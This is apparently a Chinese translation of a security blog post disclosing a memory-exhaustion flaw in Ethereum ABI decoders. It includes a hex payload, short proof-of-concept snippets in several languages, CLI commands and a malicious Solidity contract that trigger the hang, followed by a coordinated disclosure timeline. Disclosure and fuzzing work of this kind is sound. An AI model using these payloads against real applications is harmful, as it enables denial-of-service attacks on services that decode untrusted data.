以太坊ABI解析器中的十亿次空值攻击:内存耗尽漏洞深度解析

本文深入分析了以太坊ABI解析器中新发现的零大小类型(ZST)漏洞,该漏洞可导致内存耗尽型拒绝服务攻击,影响多个主流库包括eth_abi(Python)、ethabi(Rust)等,并详细披露了漏洞原理、PoC示例和协调披露时间线。

十亿次空值 - Trail of Bits博客

什么是以太坊ABI?

当链上合约相互交互或链下组件与合约通信时,以太坊使用ABI编码来编码请求和响应。这种编码不会自我描述,相反,编码器和解码器需要提供定义所表示数据类型的模式。与C编程语言中平台相关的ABI相比,以太坊规定了如何以二进制表示形式在应用程序之间传递数据。尽管该规范不是正式的,但它很好地解释了数据是如何交换的。

目前,该规范存在于Solidity文档中。ABI定义影响了智能合约语言(如Solidity和Vyper)中使用的类型。

理解漏洞

零大小类型(ZST)是在磁盘上存储需要零(或最小)字节,但一旦加载到内存中表示则需要大量内存的数据类型。以太坊ABI允许零大小类型(ZST)。ZST可以通过强制应用程序分配大量内存来处理少量磁盘或网络表示,从而导致拒绝服务(DoS)攻击。

考虑以下示例:当解析器遇到ZST数组时会发生什么?它应该尝试解析数组声称包含的尽可能多的ZST。因为每个数组元素占用零字节,所以定义一个巨大的ZST数组是微不足道的。

作为一个具体示例,下图显示了20个磁盘字节的有效载荷,它将反序列化为数字2、1和3的数组。第二个8个磁盘字节的有效载荷将反序列化为232个ZST元素(如空元组或空数组)。

如果每个ZST在解析后占用零字节内存,这不会成为问题。但在实践中,这种情况很少见。通常,每个元素需要少量但非零的内存来存储,导致表示整个数组的巨大分配。这导致了拒绝服务攻击。

稳健的解析器设计对于防止崩溃、误解、挂起或过度资源使用等严重问题至关重要。此类问题的根本原因可能在于规范或实现。

就以太坊ABI而言,我认为规范本身是有缺陷的。它有机会明确禁止零大小类型(ZST),但却未能这样做。这种疏忽与最新的Solidity和Vyper版本形成对比,在这些版本中,定义ZST(如空元组或数组)是不可能的。

为了确保最大安全性,必须精心设计文件格式规范,并且必须严格强化其实现,以避免不可预见的行为。

概念验证

让我们深入探讨一些展示多个库中此漏洞的示例。我们将数据有效载荷定义为:

1
2
0000000000000000000000000000000000000000000000000000000000000020
00000000000000000000000000000000000000000000000000000000FFFFFFFF

有效载荷由两个32字节块组成,描述了一个序列化的ZST数组。第一个块定义了数组元素的偏移量。第二个块定义了数组的长度。无论编程语言如何,我们始终将其称为有效载荷。

我们将尝试使用几种不同的以太坊ABI解析库,使用ABI模式()[]uint32[0][]解码此有效载荷。前者是空元组的动态数组,后者是空静态数组的动态数组。动态和静态之间的区别很重要,因为空静态数组占用零字节,而动态数组占用几个字节,因为它序列化数组的长度。

eth_abi (Python)

以下Python程序使用官方的eth_abi库(<4.2.0);程序将首先挂起,然后因内存不足错误而终止。

1
2
3
from eth_abi import decode
data = bytearray.fromhex(payload)
decode(['()[]'], data)

eth_abi库仅支持空元组表示;空静态数组未定义。

ethabi (Rust)

ethabi库(v18.0.0)允许直接从其CLI触发漏洞。

1
cargo run -- decode params -t "uint32[0][]" $payload

ethers-rs (Rust)

以下Rust程序使用ethers-rs库和模式uint32[0][],通过Rust类型Vec<[u32; 0]>隐式对应。

1
2
3
use ethers::abi::AbiEncode;
let data = hex::decode(payload);
let _ = Vec::<[u32; 0]>::decode(&hex_output.unwrap()).unwrap();

它容易受到DoS问题的影响,因为ethers-rs库(v2.0.10)使用了ethabi。

foundry (Rust)

foundry工具包使用ethers-rs,这表明DoS向量也应该存在其中。结果确实如此!

一种触发漏洞的方法是通过CLI直接解码有效载荷,就像在ethabi中一样。

1
cast --abi-decode "abc()(uint256[0][])" $payload

另一个更有趣的概念验证是部署以下恶意智能合约。它使用汇编返回与有效载荷匹配的数据。

1
2
3
4
5
6
7
8
9
contract ABC {
    fallback() external {
        bytes memory data = abi.encode(0x20, 0xfffffffff);

        assembly {
            return(add(data, 0x20), mload(data))
        }
    }
}

如果定义了合约的返回类型,它可能导致CLI工具中的挂起和巨大内存消耗。以下命令在测试网上调用合约。

1
2
3
4
cast call --private-key \
0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 \
-r http://127.0.0.1:8545 0x5fbdb2315678afecb367f032d93f642f64180aa3 \
"abc() returns (uint256[0][])"

alloy-rs

alloy-rs(0.4.2)中的ABI解析器在解码有效载荷时遇到与其他库相同的挂起。

1
2
3
use alloy_dyn_abi::{DynSolType, DynSolValue};
let my_type: DynSolType = "()[]".parse().unwrap();
let decoded = my_type.abi_decode(&hex::decode($payload).unwrap()).unwrap();

ethereumjs-abi

最后,ABI解析器ethereumjs-abi(0.6.8)库也容易受到攻击。

1
2
3
4
var abi = require('ethereumjs-abi')
data = Buffer.from($payload", "hex")
abi.rawDecode([ "uint32[]" ], data)
// or this call: abi.rawDecode([ "uint32[0][]" ], data)

其他库

go-ethereum和ethers.js库没有此漏洞,因为它们隐式禁止ZST。这些库期望数组的每个元素至少为32字节长。web3.js库也不受影响,因为它使用了ethers-js。

漏洞是如何被发现的

在偶然发现borsh-rs库中的一个问题后,我产生了测试此类漏洞的想法。该Rust库尝试在恒定时间内解析ZST数组,这导致了未定义行为,以缓解DoS向量。库的作者最终决定完全禁止ZST。在另一次审计中,一个自定义ABI解析器在解析ZST时也有DoS向量。鉴于这两个问题不太可能是巧合,我们调查了其他ABI解析库是否存在此类漏洞。

如何利用

此漏洞是否可利用取决于受影响库的使用方式。在上面的示例中,演示目标是CLI工具。

我没有找到一种方法来制作触发此漏洞的智能合约并将其部署到主网。这主要是因为Solidity和Vyper程序在其最新版本中禁止ZST。

然而,任何使用上述库之一的应用程序都可能容易受到攻击。一个可能易受攻击的应用程序示例是Etherscan,它解析不受信任的ABI声明。此外,任何从合约获取和解码数据的链下软件如果允许用户指定ABI类型,也可能容易受到此漏洞的攻击。

模糊测试你的解码器!

解码器中的漏洞通常很容易通过模糊测试解码例程来捕获,因为输入通常是字节数组,可以直接用作模糊测试器的输入。当然,也有例外,比如最近的libwebp 0-day(CVE-2023-4863),它没有通过OSS-fuzz中无数小时的模糊测试发现。

在Trail of Bits的审计中,我们采用模糊测试来识别漏洞,并教育客户如何进行自己的模糊测试。我们旨在将我们的模糊测试器贡献给Google的OSS-fuzz进行持续测试,从而通过优先处理关键审计组件来补充手动审查。我们正在更新我们的测试手册,这是一个为开发人员和安全专业人员准备的详尽资源,包括优化模糊测试器配置和自动化分析工具在整个软件开发生命周期中的具体指导。

协调披露

作为披露过程的一部分,我们向库作者报告了漏洞。

  • eth_abi (Python):以太坊拥有的库通过私有GitHub咨询修复了漏洞。该漏洞在版本v4.2.0中修复。
  • ethabi (Rust) 和 alloy-rs:crates的维护者要求我们在禁运期结束后打开GitHub问题。我们在这里和这里创建了相应的问题。
  • ethereumjs-abi:我们没有收到项目的回复,因此创建了一个GitHub问题。
  • ethers-rs 和 foundry:我们通知了项目他们使用ethabi(Rust)的情况。我们期望他们尽快更新到ethabi的修补版本或切换到另一个ABI解码实现。一般社区将通过发布ethabi和alloy-rs的RustSec咨询和eth_abi(Python)的GitHub咨询来通知。

披露时间线如下:

  • 2023年6月30日:首次联系ethabi(Rust)、eth_abi(Python)、alloy-rs和ethereumjs-abi crates的维护者。

  • 2023年6月30日:alloy-rs维护者通知应创建GitHub问题。

  • 2023年6月30日:eth_abi(Python)项目的首次回应和内部分类开始。

  • 2023年8月2日:为eth_abi(Python)在GitHub上创建私有安全咨询。

  • 2023年8月31日:eth_abi(Python)发布修复,未公开提及DoS向量。我们后来验证了此修复。

  • 2023年12月29日:发布此博客文章和ethabi、alloy-rs和ethereumjs-abi存储库中的GitHub问题。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计